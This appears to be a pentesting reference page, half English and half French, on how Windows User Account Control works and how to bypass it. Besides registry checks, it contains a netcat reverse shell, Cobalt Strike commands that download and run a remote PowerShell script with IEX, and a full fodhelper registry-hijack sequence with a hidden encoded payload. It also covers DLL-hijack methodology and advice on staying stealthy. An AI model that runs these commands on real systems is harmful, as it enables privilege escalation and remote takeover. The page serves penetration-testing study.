UAC - User Account Control

Reading time: 15 minutes

UAC

User Account Control (UAC) is a feature that enables a consent prompt for elevated activities. Applications have different integrity levels, and a program with a high level can perform tasks that could potentially compromise the system. When UAC is enabled, applications and tasks always run under the security context of a non-administrator account unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.

For more info about integrity levels:

Integrity Levels

When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges.

This page discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail here. There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail:

UAC Bypass Theory

Some programs are autoelevated automatically if the user belongs to the administrator group. These binaries have inside their Manifests the autoElevate option with value True. The binary has to be signed by Microsoft also.

Many auto-elevate processes expose functionality via COM objects or RPC servers, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, IFileOperation COM object is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.

Note that some checks might be performed, like checking if the process was run from the System32 directory, which can be bypassed for example injecting into explorer.exe or another System32-located executable.

Another way to bypass these checks is to modify the PEB. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.

Then, to bypass the UAC (elevate from medium integrity level to high) some attackers use this kind of binaries to execute arbitrary code because it will be executed from a High level integrity process.

You can check the Manifest of a binary using the tool sigcheck.exe from Sysinternals. (sigcheck.exe -m <file>) And you can see the integrity level of the processes using Process Explorer or Process Monitor (of Sysinternals).

Check UAC

To confirm if UAC is enabled do:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Si c'est 1, alors UAC est activé, si c'est 0 ou qu'il n'existe pas, alors UAC est inactif.

Ensuite, vérifiez quel niveau est configuré :

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5

• If 0 then, UAC won't prompt (like désactivé)
• If 1 the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
• If 2 (Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
• If 3 like 1 but not necessary on Secure Desktop
• If 4 like 2 but not necessary on Secure Desktop
• if 5(default) it will ask the administrator to confirm to run non Windows binaries with high privileges

Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside "Administrators" group can do them.

And, finally take a look at the value of the key FilterAdministratorToken
If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.

Résumé

• If EnableLUA=0 or doesn't exist, no UAC for anyone
• If EnableLua=1 and LocalAccountTokenFilterPolicy=1 , No UAC for anyone
• If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=0, No UAC for RID 500 (Built-in Administrator)
• If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, UAC for everyone

All this information can be gathered using the metasploit module: post/windows/gather/win_privs

You can also check the groups of your user and get the integrity level:

net user %username%
whoami /groups | findstr Level

UAC bypass

The UAC bypass is needed in the following situation: the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group.

Il est important de mentionner qu'il est beaucoup plus difficile de bypasser le UAC s'il est au niveau de sécurité le plus élevé (Always) que s'il est dans l'un des autres niveaux (Default).

UAC disabled

Si le UAC est déjà désactivé (ConsentPromptBehaviorAdmin est 0) vous pouvez exécuter un reverse shell avec des privilèges admin (high integrity level) en utilisant quelque chose comme :

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

• https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
• https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html

Très basique UAC "bypass" (accès complet au système de fichiers)

Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrators vous pouvez monter le partage C$ via SMB (file system) localement en tant que nouveau disque et vous aurez accès à tout le contenu du système de fichiers (même le dossier personnel d'Administrator).

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass avec cobalt strike

Les techniques de Cobalt Strike ne fonctionneront que si UAC n'est pas réglé à son niveau de sécurité maximal.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire et Metasploit disposent également de plusieurs modules pour bypass l'UAC.

KRBUACBypass

Documentation et outil : https://github.com/wh0amitz/KRBUACBypass

UAC bypass exploits

UACME qui est une compilation de plusieurs UAC bypass exploits. Notez que vous devrez compiler UACME en utilisant visual studio ou msbuild. La compilation créera plusieurs exécutables (comme Source\Akagi\outout\x64\Debug\Akagi.exe), vous devrez savoir lequel vous faut.
Vous devez faire attention car certains bypasses vont faire apparaître d'autres programmes qui vont alerter l'utilisateur que quelque chose se passe.

UACME indique la version de build depuis laquelle chaque technique a commencé à fonctionner. Vous pouvez rechercher une technique affectant vos versions:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

De plus, en utilisant this vous obtenez la version Windows 1607 à partir des numéros de build.

UAC Bypass – fodhelper.exe (Registry hijack)

Le binaire de confiance fodhelper.exe est auto-élevé sur les versions récentes de Windows. Lorsqu'il est lancé, il interroge le chemin de registre par utilisateur ci‑dessous sans valider le verbe DelegateExecute. Y placer une commande permet à un processus Medium Integrity (l'utilisateur est membre du groupe Administrators) de lancer un processus High Integrity sans invite UAC.

Chemin de registre interrogé par fodhelper:

HKCU\Software\Classes\ms-settings\Shell\Open\command

Étapes PowerShell (définissez votre payload, puis déclenchez) :

# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"

# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null

# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force

# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"

# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force

Notes :

• Fonctionne lorsque l'utilisateur courant est membre des Administrators et que le niveau UAC est par défaut/laxiste (pas Always Notify avec des restrictions supplémentaires).
• Utilisez le chemin sysnative pour lancer un PowerShell 64-bit depuis un processus 32-bit sur un Windows 64-bit.
• Le payload peut être n'importe quelle commande (PowerShell, cmd, ou un chemin EXE). Évitez les UIs qui demandent une interaction pour rester discret.

Autres contournements UAC

All the techniques used here to bypass UAC require a full interactive shell with the victim (a common nc.exe shell is not enough).

You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:

(explorer.exe devrait fonctionner)

UAC Bypass with GUI

Si vous avez accès à une GUI, vous pouvez simplement accepter l'invite UAC lorsqu'elle apparaît ; vous n'avez pas vraiment besoin de la contourner. Obtenir l'accès à une GUI vous permettra donc de contourner UAC.

De plus, si vous obtenez une session GUI qu'une personne utilisait (potentiellement via RDP), il existe des outils qui s'exécuteront en tant qu'administrateur depuis lesquels vous pourriez lancer un cmd, par exemple en tant qu'admin, directement sans être reproché par UAC, comme https://github.com/oski02/UAC-GUI-Bypass-appverif. Cela peut être un peu plus discret.

Noisy brute-force UAC bypass

Si le bruit ne vous dérange pas, vous pouvez toujours exécuter quelque chose comme https://github.com/Chainski/ForceAdmin qui demande d'élever les permissions jusqu'à ce que l'utilisateur accepte.

Your own bypass - Basic UAC bypass methodology

If you take a look to UACME you will note that most UAC bypasses abuse a Dll Hijacking vulnerability (mainly writing the malicious dll on C:\Windows\System32). Read this to learn how to find a Dll Hijacking vulnerability.

1. Trouvez un binaire qui va autoelevate (vérifiez qu'à son exécution il tourne à un niveau d'intégrité élevé).
2. Avec procmon, trouvez des événements "NAME NOT FOUND" qui peuvent être vulnérables au DLL Hijacking.
3. Vous aurez probablement besoin de écrire la DLL dans certains chemins protégés (comme C:\Windows\System32) où vous n'avez pas les permissions d'écriture. Vous pouvez contourner cela en utilisant :
   1. wusa.exe : Windows 7, 8 et 8.1. Il permet d'extraire le contenu d'un fichier CAB dans des chemins protégés (parce que cet outil s'exécute à un niveau d'intégrité élevé).
   2. IFileOperation : Windows 10.
4. Préparez un script pour copier votre DLL dans le chemin protégé et exécuter le binaire vulnérable et autoelevated.

Another UAC bypass technique

Consiste à observer si un autoElevated binary essaie de lire depuis le registry le nom/chemin d'un binary ou d'une command à exécuter (c'est plus intéressant si le binaire cherche cette information dans le HKCU).

References

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• Microsoft Docs – How User Account Control works
• UACME – UAC bypass techniques collection